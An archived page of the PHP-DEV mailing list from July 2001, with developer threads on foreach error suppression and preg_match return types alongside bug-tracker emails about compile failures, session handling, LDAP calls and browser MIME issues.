> state
> > of the code" or a "when we get around to it"?
> >
> > Thanks,
> >
> > Daniel
> >
> >
> > --
> > PHP Development Mailing List 
> > To unsubscribe, e-mail: [EMAIL PROTECTED]
> > For additional commands, e-mail: [EMAIL PROTECTED]
> > To contact the list administrators, e-mail: [EMAIL PROTECTED]
> >
>
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
>


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] foreach behavior and error suppression (@foo)

2001-07-02 Thread Zeev Suraski


If the question is about
@foreach(...) ...

Then the answer is somewhere between 'hell no!' and 'not possible with the 
current state of the code'.  foreach is a statement, whereas @ is an 
operator that works on expressions...

At 00:16 3/7/2001, Daniel Beckham wrote:
>There are several open feature requests in the bug system to allow the use
>of @ to suppress warnings when using a non array with foreach.  What's the
>status of this?  Is this a "hell no!", "not possible with the current state
>of the code" or a "when we get around to it"?
>
>Thanks,
>
>Daniel
>
>
>--
>PHP Development Mailing List 
>To unsubscribe, e-mail: [EMAIL PROTECTED]
>For additional commands, e-mail: [EMAIL PROTECTED]
>To contact the list administrators, e-mail: [EMAIL PROTECTED]

--
Zeev Suraski <[EMAIL PROTECTED]>
CTO &  co-founder, Zend Technologies Ltd. http://www.zend.com/


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] foreach behavior and error suppression (@foo)

2001-07-02 Thread Zak Greant


Perhaps we want to roll this request into the list of proposed changes for
PHP 5?

--zak

- Original Message -
From: "Daniel Beckham" <[EMAIL PROTECTED]>
To: "php-dev" <[EMAIL PROTECTED]>
Sent: Monday, July 02, 2001 3:16 PM
Subject: [PHP-DEV] foreach behavior and error suppression (@foo)


> There are several open feature requests in the bug system to allow the use
> of @ to suppress warnings when using a non array with foreach.  What's the
> status of this?  Is this a "hell no!", "not possible with the current
state
> of the code" or a "when we get around to it"?
>
> Thanks,
>
> Daniel
>
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]
>


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] foreach behavior and error suppression (@foo)

2001-07-02 Thread Daniel Beckham


There are several open feature requests in the bug system to allow the use
of @ to suppress warnings when using a non array with foreach.  What's the
status of this?  Is this a "hell no!", "not possible with the current state
of the code" or a "when we get around to it"?

Thanks,

Daniel


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] switch, equality and preg_match

2001-07-02 Thread Andrei Zmievski


On Mon, 02 Jul 2001, Daniel Beckham wrote:
> No matter what, the documentation should be changed.  It's incorrect whether
> you leave the function as is, or not.  Although, IMO, I think that it would
> be more intuitive to make the function's return type boolean instead of int.
> 
> Hell, for that matter, give us the m// syntax while we are requesting
> changes. =)

Fsck that, I'm not getting into that cesspool again. :)

-Andrei

"Man, if you gotta ask, you'll never know."
 - Louis Armstrong, when asked "What is jazz?"

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] switch, equality and preg_match

2001-07-02 Thread Daniel Beckham


No matter what, the documentation should be changed.  It's incorrect whether
you leave the function as is, or not.  Although, IMO, I think that it would
be more intuitive to make the function's return type boolean instead of int.

Hell, for that matter, give us the m// syntax while we are requesting
changes. =)

Daniel

- Original Message -
From: "Andrei Zmievski" <[EMAIL PROTECTED]>
To: "Daniel Beckham" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Monday, July 02, 2001 3:47 PM
Subject: Re: [PHP-DEV] switch, equality and preg_match


> On Sun, 01 Jul 2001, Andrei Zmievski wrote:
> > At 09:06 AM 7/1/01 -0500, Daniel Beckham wrote:
> > >Someone poke me when you decide what to do and I'll change the return
type
> > >in the preg_match docs.
> >
> > I need to take a closer look at the code to see why it is that way.
>
> Okay, this is because both preg_match and preg_match_all use the same
> function internally, so the return type for both is an integer
> indicating the number of matches. Do you really think it should be
> changed?
>
> -Andrei
>
> "Tomorrow the sun will rise. And who knows what the tide will bring?"
> - Tom Hanks, in "Cast Away"
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
>


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] switch, equality and preg_match

2001-07-02 Thread Andrei Zmievski


On Sun, 01 Jul 2001, Andrei Zmievski wrote:
> At 09:06 AM 7/1/01 -0500, Daniel Beckham wrote:
> >Someone poke me when you decide what to do and I'll change the return type
> >in the preg_match docs.
> 
> I need to take a closer look at the code to see why it is that way.

Okay, this is because both preg_match and preg_match_all use the same
function internally, so the return type for both is an integer
indicating the number of matches. Do you really think it should be
changed?

-Andrei

"Tomorrow the sun will rise. And who knows what the tide will bring?"
- Tom Hanks, in "Cast Away"

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Re: Bug #11839 Updated: hack? following is a discussion of the hack...... Is PHP the problem?????????

2001-07-02 Thread Mark Lidd

At 04:39 PM 7/2/01 +, you wrote:
>ID: 11839
>Updated by: derick
>Reported By: [EMAIL PROTECTED]
>Old-Status: Open
>Status: Feedback
>Bug Type: Unknown/Other Function
>Operating system:
>PHP Version: 4.0.6
>Assigned To:
>Comments:
>
>Can you please summarize this?
>
>
>
>Derick

I believe that some code in the PHP module looks for an HTML tag that has 
the string "/ad/" in it, removes the "<"  and places the html comment 
<--!  --> around the html tag.  This happens only if the html is going to a 
client on a system other than on the server.   This results in the banner 
ad not being displayed.  I noticed this in the latest 4.0.6 tarball.  I got 
around the issue by using the string "/add/"  in my html tag.  The string 
"/ad/" is part of the eZPublish banner ad.

I know it sounds weird, but that's it in a nutshell.

Mark

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11843 Updated:

2001-07-02 Thread jason


ID: 11843
Updated by: jason
Reported By: [EMAIL PROTECTED]
Status: Bogus
Bug Type: Feature/Change Request
Operating system: 
PHP Version: Earlier? Upgrade first!
Assigned To: 
Comments:

Stop it!

Previous Comments:
---

[2001-07-02 15:58:43] [EMAIL PROTECTED]

a

---

[2001-07-02 14:36:31] [EMAIL PROTECTED]

Go play somewhere else!

---

[2001-07-02 14:35:19] [EMAIL PROTECTED]

a

---

[2001-07-02 14:35:06] [EMAIL PROTECTED]

a

---

[2001-07-02 14:32:34] [EMAIL PROTECTED]



---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.


ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11843&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11843 Updated:

2001-07-02 Thread a


ID: 11843
User Update by: [EMAIL PROTECTED]
Status: Bogus
Bug Type: Feature/Change Request
Operating system: 
PHP Version: Earlier? Upgrade first!
Description: 

a

Previous Comments:
---

[2001-07-02 14:36:31] [EMAIL PROTECTED]

Go play somewhere else!

---

[2001-07-02 14:35:19] [EMAIL PROTECTED]

a

---

[2001-07-02 14:35:06] [EMAIL PROTECTED]

a

---

[2001-07-02 14:32:34] [EMAIL PROTECTED]



---


Full Bug description available at: http://bugs.php.net/?id=11843


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11848 Updated: microtime.c compilation

2001-07-02 Thread derick


ID: 11848
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Bug Type: Compile Failure
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

RTFM: see www.php.net/FAQ.php, item 6.12

Derick

Previous Comments:
---

[2001-07-02 15:43:56] [EMAIL PROTECTED]

I've tried to compile using:
'./configure --with-mysql 
--with-apx=/usr/local/apache/bin/apxs'
and after typing 'make', it said:

microtime.c: In function `php_if_getrusage':
microtime.c:99: storage size of `usg' isn't known
microtime.c:102: `RUSAGE_SELF' undeclared (first use in 
this function)
microtime.c:102: (Each undeclared identifier is reported 
only once
microtime.c:102: for each function it appears in.)
microtime.c:108: `RUSAGE_CHILDREN' undeclared (first use 
in this function)


---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11848&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11848: microtime.c compilation

2001-07-02 Thread siew


From: [EMAIL PROTECTED]
Operating system: RedHat 6.0
PHP version:  4.0.6
PHP Bug Type: Compile Failure
Bug description:  microtime.c compilation

I've tried to compile using:
'./configure --with-mysql 
--with-apx=/usr/local/apache/bin/apxs'
and after typing 'make', it said:

microtime.c: In function `php_if_getrusage':
microtime.c:99: storage size of `usg' isn't known
microtime.c:102: `RUSAGE_SELF' undeclared (first use in 
this function)
microtime.c:102: (Each undeclared identifier is reported 
only once
microtime.c:102: for each function it appears in.)
microtime.c:108: `RUSAGE_CHILDREN' undeclared (first use 
in this function)



-- 
Edit Bug report at: http://bugs.php.net/?id=11848&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11847 Updated: Out-of-Memory

2001-07-02 Thread derick


ID: 11847
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: *General Issues
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Can you try the patch that is available on the PHP Download site 
(www.php.net/downloads.php) ?

Derick

Previous Comments:
---

[2001-07-02 15:23:22] [EMAIL PROTECTED]

Some (quite heavy) scripts running fine with v4.0.5 are randomly causing "Out of 
Memory" errors.
I've switched back to 4.0.5.
I cannot reproduce the problem but I've seen them occurring mostly when dealing with 
mysql select queries.
Let me know if I can help you somehow.

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11847&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11847: Out-of-Memory

2001-07-02 Thread bilo


From: [EMAIL PROTECTED]
Operating system: RedHat Linux 6.1 Kernel 2.2.18
PHP version:  4.0.6
PHP Bug Type: *General Issues
Bug description:  Out-of-Memory

Some (quite heavy) scripts running fine with v4.0.5 are randomly causing "Out of 
Memory" errors.
I've switched back to 4.0.5.
I cannot reproduce the problem but I've seen them occurring mostly when dealing with 
mysql select queries.
Let me know if I can help you somehow.


-- 
Edit Bug report at: http://bugs.php.net/?id=11847&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11846 Updated: AL EJECUTAR MAKE MARCA ERROR

2001-07-02 Thread derick


ID: 11846
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Compile Problem
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

You get this error during the compilation of the mysql client libraries that are 
bundled with PHP.
Can you compile MySQL without problems? And can you possibly try gcc for the 
compilation of PHP?
What is you configure line?

Derick

Previous Comments:
---

[2001-07-02 15:15:00] [EMAIL PROTECTED]

NCR High Performance C Compiler R3.0c
(c) Copyright 1994-97, NCR Corporation
(c) Copyright 1987-97, MetaWare Incorporated
E "my_init.c",L44/C7(#237): INT_MAX: Identifier is undeclared.
w "my_init.c",L100/C9(#257):'=' encountered where '==' may have been intended.
1 user error   1 warning
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11846&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11846: AL EJECUTAR MAKE MARCA ERROR

2001-07-02 Thread ggalindo


From: [EMAIL PROTECTED]
Operating system: NCR WM 4300 unix systema V MP-RAS 3.02
PHP version:  4.0.6
PHP Bug Type: Compile Problem
Bug description:  AL EJECUTAR MAKE MARCA ERROR

NCR High Performance C Compiler R3.0c
(c) Copyright 1994-97, NCR Corporation
(c) Copyright 1987-97, MetaWare Incorporated
E "my_init.c",L44/C7(#237): INT_MAX: Identifier is undeclared.
w "my_init.c",L100/C9(#257):'=' encountered where '==' may have been intended.
1 user error   1 warning
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.


-- 
Edit Bug report at: http://bugs.php.net/?id=11846&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11845: ldap_mod_add/ldap_mod_del duplicating LDAP calls sporadically

2001-07-02 Thread michael . jackson


From: [EMAIL PROTECTED]
Operating system: Solaris 2.8
PHP version:  4.0.5
PHP Bug Type: LDAP related
Bug description:  ldap_mod_add/ldap_mod_del duplicating LDAP calls sporadically

PHP is linked against the IPlanet LDAP SDK v5.0, using --ldap=/usr/local/ldap

ldap_mod_add and ldap_mod_del seem to sporadically duplicate LDAP calls  Take the 
following function.

function addtogroup($ds, $username, $groupname) {
  $addme["memberuid"] = #username;
  $dn = "cn=".$groupname.", ou=group, dc=ltyr, dc=net";
  $res = ldap_mod_add($ds, $dn, $addme);
  echo "Hi - I've run!";
  if ($res) {
return TRUE;
  }
  else {
$errstr = ldap_error($ds);
echo "Ldap error: $errstr";
return FALSE;
  }
}

In this function, I added the "echo" statement to make sure that ldap_mod_add is only 
being called once.  It is.  Yet, I sporadically get errors stating "Type or value 
exists", along with a PHP warning: "LDAP: modify operation could not be completed" - 
in addition, I see the MOD line come through the LDAP logs twice.  However, the 
attribute is always deleted / added correctly.

There seems to be no consistency to this whatsoever.


-- 
Edit Bug report at: http://bugs.php.net/?id=11845&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #8989 Updated: Bug#5493 resurfaced

2001-07-02 Thread fseesink


ID: 8989
User Update by: [EMAIL PROTECTED]
Status: Open
Bug Type: *Session related
Operating system: Windows NT 4 SP5(IIS4)/2000 SP2
PHP Version: 4.0.6
Description: Bug#5493 resurfaced

Configured Win2K/IIS5 for PHP v4.0.6 ISAPI module.
Took appropriate steps to shutdown & restart server (net stop iisadmin, net start 
w3svc).  Issue exists in ISAPI module as well.

Then configured same box for PHP v4.0.3pl1 ISAPI module.  Same problem exists there as 
well.

The last version of PHP that performs sessions correctly under Windows is the 
v4.0.3pl1 CGI edition.  If you can find others to validate that newer versions work 
properly using the script I provided, I'm open to suggestions.  I had this issue under 
Windows NT4/IIS4, now still with Win2K/IIS5.  I do not believe it to be an isolated 
case.

If anyone else is reading this bug report experiencing similar problems, please post 
so the developers will know.

Previous Comments:
---

[2001-07-02 14:30:28] [EMAIL PROTECTED]

Configured Windows 2000/IIS 5 webserver with PHP v4.0.6 CGI (disabled Zend Optimizer, 
etc.).  Tried accessing the page1.php-page4.php test I provided earlier.  Used 
Netscape v4.77 & IE 5.5SP1 for Windows 2000, as well as Konqueror 2.1.1 & Netscsape 
4.76 under KDE on Red Hat Linux 7.1.  All browsers have cookies enabled.

In all cases, initial session file is created with variable values stored properly.  
But as you move through the pages, new session files are generated (effectively 
different session IDs), with all session files after the 1st being 0 bytes.  In short, 
session not maintained.

Again, this issue existed prior to PHP v4.0.2.  The Windows version of PHP CGI v4.0.2 
- v4.0.3pl1 (the latter being what I still use today) all performed properly.  With 
v4.0.4, problem resurfaced and has remained.

I don't know if there is a way to see what changes were made from 4.0.1pl1 -> 4.0.2 
and then 4.0.3pl1 -> 4.0.4 and if any changes were accidentally undone.


---

[2001-07-02 00:39:36] [EMAIL PROTECTED]

>1. Only person using hostile tone around here is you.

   Do you even READ what you write and consider how it sounds?  I disagree with your 
opinion, but no point discussing it with you.  Let's just stick to bug hunting.

>2. This is a BUG database, not a discussion forum.

   Good point.  That's why I posted here what I wrote for both this problem and its 
earlier incarnation, #5493.  And if you bothered to read the postings, you would've 
found all the answers to your questions.

I didn't post a bug with the idea to have the bug dismissed without validation, as 
#5493 was (by you as well, sniper).  And to point out something, I only became aware 
of this last post of yours when I visited the website.  I was NOT sent an e-mail of 
this last post.  This is exactly how #5493 died.  I only learned of it later.  Luckily 
I decided to check the site, or this problem may have died as the last...without 
proper resolution.

>3. Did you or did you not try my short example script??
>Does the number get higher or does it always give you an
>error message when you reload the page?

Oops, that one IS my goof.  I looked at my last post and saw that I didn't spell it 
out very well.

Yes, I ran your example script.
Yes, the number gets higher.
But again, this is NOT what the bug report was about.

>4. Is the session cookie set at all? Does this happen with any
>browser?

Yes, the session cookie is set initially.  In your example script, it works fine.  In 
my example scripts, new session files are generated over time as you cycle thru the 
links.  See bug #5493 for more details.

The only browsers I have handy are IE 5.5SP1 & Netscape 4.77 running on Windows 2000.  
I'll double-check in the morning, but I believe it occurs regardless of browser.  Will 
see if I can get confirmation from other browsers such as Konqueror.  May take a day 
or two.

>5. What is the value for register_globals in your php.ini?

register_globals = ON


FINAL NOTES:

1. On http://www.php.net/bugs.php  displayed all OPEN bugs of type SESSION RELATED.  
Problem #8989 was not listed.  Should this be reported as a separate problem with the 
site, and if so, what is the appropriate category? (Display done multiple times with 
same result.)

2. Last posting
   "[2001-06-27 11:26:13] [EMAIL PROTECTED]"

was NOT e-mailed to me by the system.  Again, should this be reported as a separate 
problem with the site, and if so, what is the appropriate category?  I would like to 
make sure I receive your postings so that I can be sure to reply in a timely manner.


---

[2001-06-27 11:26:13] [EMAIL PROTECTED]

1. Only person using hostile tone around here is you. 
2. This is a BUG database, not a discu

[PHP-DEV] Bug #11844 Updated: It would be nice to have tags in PHP just like JSP tags.

2001-07-02 Thread derick


ID: 11844
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Feature/Change Request
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

What are JSP tags?

Previous Comments:
---

[2001-07-02 14:54:57] [EMAIL PROTECTED]



---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11844&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11844: It would be nice to have tags in PHP just like JSP tags.

2001-07-02 Thread aaronshaf


From: [EMAIL PROTECTED]
Operating system: Win 2000
PHP version:  4.0.6
PHP Bug Type: Feature/Change Request
Bug description:  It would be nice to have tags in PHP just like JSP tags.




-- 
Edit Bug report at: http://bugs.php.net/?id=11844&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11843 Updated:

2001-07-02 Thread derick


ID: 11843
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Bogus
Bug Type: Feature/Change Request
Operating system: 
PHP Version: Earlier? Upgrade first!
Assigned To: 
Comments:

Go play somewhere else!

Previous Comments:
---

[2001-07-02 14:35:19] [EMAIL PROTECTED]

a

---

[2001-07-02 14:35:06] [EMAIL PROTECTED]

a

---

[2001-07-02 14:32:34] [EMAIL PROTECTED]



---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11843&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11843 Updated:

2001-07-02 Thread a


ID: 11843
User Update by: [EMAIL PROTECTED]
Status: Open
Bug Type: Feature/Change Request
Operating system: 
PHP Version: Earlier? Upgrade first!
Description: 

a

Previous Comments:
---

[2001-07-02 14:35:06] [EMAIL PROTECTED]

a

---

[2001-07-02 14:32:34] [EMAIL PROTECTED]



---


Full Bug description available at: http://bugs.php.net/?id=11843


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11843 Updated:

2001-07-02 Thread a


ID: 11843
User Update by: [EMAIL PROTECTED]
Status: Open
Bug Type: Feature/Change Request
Operating system: 
PHP Version: Earlier? Upgrade first!
Description: 

a

Previous Comments:
---

[2001-07-02 14:32:34] [EMAIL PROTECTED]



---


Full Bug description available at: http://bugs.php.net/?id=11843


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11843:

2001-07-02 Thread a


From: [EMAIL PROTECTED]
Operating system: 
PHP version:  Earlier? Upgrade first!
PHP Bug Type: Feature/Change Request
Bug description:  




-- 
Edit Bug report at: http://bugs.php.net/?id=11843&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #8989 Updated: Bug#5493 resurfaced

2001-07-02 Thread fseesink


ID: 8989
User Update by: [EMAIL PROTECTED]
Status: Open
Bug Type: *Session related
Operating system: Windows NT 4 SP5(IIS4)/2000 SP2
PHP Version: 4.0.6
Description: Bug#5493 resurfaced

Configured Windows 2000/IIS 5 webserver with PHP v4.0.6 CGI (disabled Zend Optimizer, 
etc.).  Tried accessing the page1.php-page4.php test I provided earlier.  Used 
Netscape v4.77 & IE 5.5SP1 for Windows 2000, as well as Konqueror 2.1.1 & Netscsape 
4.76 under KDE on Red Hat Linux 7.1.  All browsers have cookies enabled.

In all cases, initial session file is created with variable values stored properly.  
But as you move through the pages, new session files are generated (effectively 
different session IDs), with all session files after the 1st being 0 bytes.  In short, 
session not maintained.

Again, this issue existed prior to PHP v4.0.2.  The Windows version of PHP CGI v4.0.2 
- v4.0.3pl1 (the latter being what I still use today) all performed properly.  With 
v4.0.4, problem resurfaced and has remained.

I don't know if there is a way to see what changes were made from 4.0.1pl1 -> 4.0.2 
and then 4.0.3pl1 -> 4.0.4 and if any changes were accidentally undone.


Previous Comments:
---

[2001-07-02 00:39:36] [EMAIL PROTECTED]

>1. Only person using hostile tone around here is you.

   Do you even READ what you write and consider how it sounds?  I disagree with your 
opinion, but no point discussing it with you.  Let's just stick to bug hunting.

>2. This is a BUG database, not a discussion forum.

   Good point.  That's why I posted here what I wrote for both this problem and its 
earlier incarnation, #5493.  And if you bothered to read the postings, you would've 
found all the answers to your questions.

I didn't post a bug with the idea to have the bug dismissed without validation, as 
#5493 was (by you as well, sniper).  And to point out something, I only became aware 
of this last post of yours when I visited the website.  I was NOT sent an e-mail of 
this last post.  This is exactly how #5493 died.  I only learned of it later.  Luckily 
I decided to check the site, or this problem may have died as the last...without 
proper resolution.

>3. Did you or did you not try my short example script??
>Does the number get higher or does it always give you an
>error message when you reload the page?

Oops, that one IS my goof.  I looked at my last post and saw that I didn't spell it 
out very well.

Yes, I ran your example script.
Yes, the number gets higher.
But again, this is NOT what the bug report was about.

>4. Is the session cookie set at all? Does this happen with any
>browser?

Yes, the session cookie is set initially.  In your example script, it works fine.  In 
my example scripts, new session files are generated over time as you cycle thru the 
links.  See bug #5493 for more details.

The only browsers I have handy are IE 5.5SP1 & Netscape 4.77 running on Windows 2000.  
I'll double-check in the morning, but I believe it occurs regardless of browser.  Will 
see if I can get confirmation from other browsers such as Konqueror.  May take a day 
or two.

>5. What is the value for register_globals in your php.ini?

register_globals = ON


FINAL NOTES:

1. On http://www.php.net/bugs.php  displayed all OPEN bugs of type SESSION RELATED.  
Problem #8989 was not listed.  Should this be reported as a separate problem with the 
site, and if so, what is the appropriate category? (Display done multiple times with 
same result.)

2. Last posting
   "[2001-06-27 11:26:13] [EMAIL PROTECTED]"

was NOT e-mailed to me by the system.  Again, should this be reported as a separate 
problem with the site, and if so, what is the appropriate category?  I would like to 
make sure I receive your postings so that I can be sure to reply in a timely manner.


---

[2001-06-27 11:26:13] [EMAIL PROTECTED]

1. Only person using hostile tone around here is you. 
2. This is a BUG database, not a discussion forum.
3. Did you or did you not try my short example script??
Does the number get higher or does it always give you
an error message when you reload the page?
4. Is the session cookie set at all? Does this happen with any browser? 
5. What is the value for register_globals in your php.ini?

--Jani


---

[2001-06-26 12:36:01] [EMAIL PROTECTED]

That's very nice.  But that is not what this bug report was about.

PHP v4.x has always been able to initially create a session variable.  The challenge 
is NOT within a single page.  The problem, as clearly described in earlier postings of 
both this problem and an earlier problem (see #5493 for source used), is the 
maintenance of session variables BETWEEN pages...the whole POINT of using session 
variables (i.e., mainta

[PHP-DEV] Bug #11841 Updated: MSIE tries to download file when you hit domain alias

2001-07-02 Thread derick


ID: 11841
Updated by: derick
Reported By: [EMAIL PROTECTED]
Status: Closed
Bug Type: Scripting Engine problem
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Lets blame it on MicroSoft :)

Previous Comments:
---

[2001-07-02 13:59:44] [EMAIL PROTECTED]

Apparently my browser was on crack. I've been rebooting several times to make sure it 
wasn't browser related, and after running it through loadrunner, it worked fine. Chalk 
it up to a bad proxy or something.. ..

---

[2001-07-02 13:52:56] [EMAIL PROTECTED]

I'm using MSIE 5.5. Opera 5.11 works fine with the document, as does lynx. It appears 
that the way my site is set up, hitting http://www.lowmagnet.org will not suffice. Is 
there a workaround? perhaps a redirect like the below:

httpd.conf:
DirectoryIndex index.html index.php index.shtml   

index.html:

http://www.lowmagnet.org/index.php";>

Would work. I just don't like kludges such as these. If only IE would listen to the 
mimetype. But still, why is this happening only on my system? I'm going to run a 
recording in loadrunner to see if it can pull across the headers..


---

[2001-07-02 13:26:09] [EMAIL PROTECTED]

Works fine from here with both NS 4.77 and IE 5.00.2314.1003
Which version of IE are you using? However, this can't be no problem with PHP I think.

Derick

---

[2001-07-02 13:11:53] [EMAIL PROTECTED]

When I hit my site normally: http://lowmagnet.org, all is ok, and it brings up my 
first page. When I hit my site with its "www." alias (from DNS level) IE tries to 
download the file. I'm not certain why it would do this, because most other browsers 
handle this correctly. My mime.types file:

text/html   html htm php

My httpd.conf:

DirectoryIndex index.php index.html index.shtml   
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

My PHP.ini:

default_mimetype = "text/html"

Like I said, if you point at a specific directory under either DNS registry, no 
worries. If you point to the root on the www. spec, it doesn't seem to send the right 
mimetype. I figure if it's working everywhere but that one place it's probably config. 
I just want to eliminate suspects. Thanks.

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11841&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11841 Updated: MSIE tries to download file when you hit domain alias

2001-07-02 Thread anrkngl


ID: 11841
User Update by: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Bug Type: Scripting Engine problem
Operating system: LNX 2.2.19 Slack
PHP Version: 4.0.6
Description: MSIE tries to download file when you hit domain alias

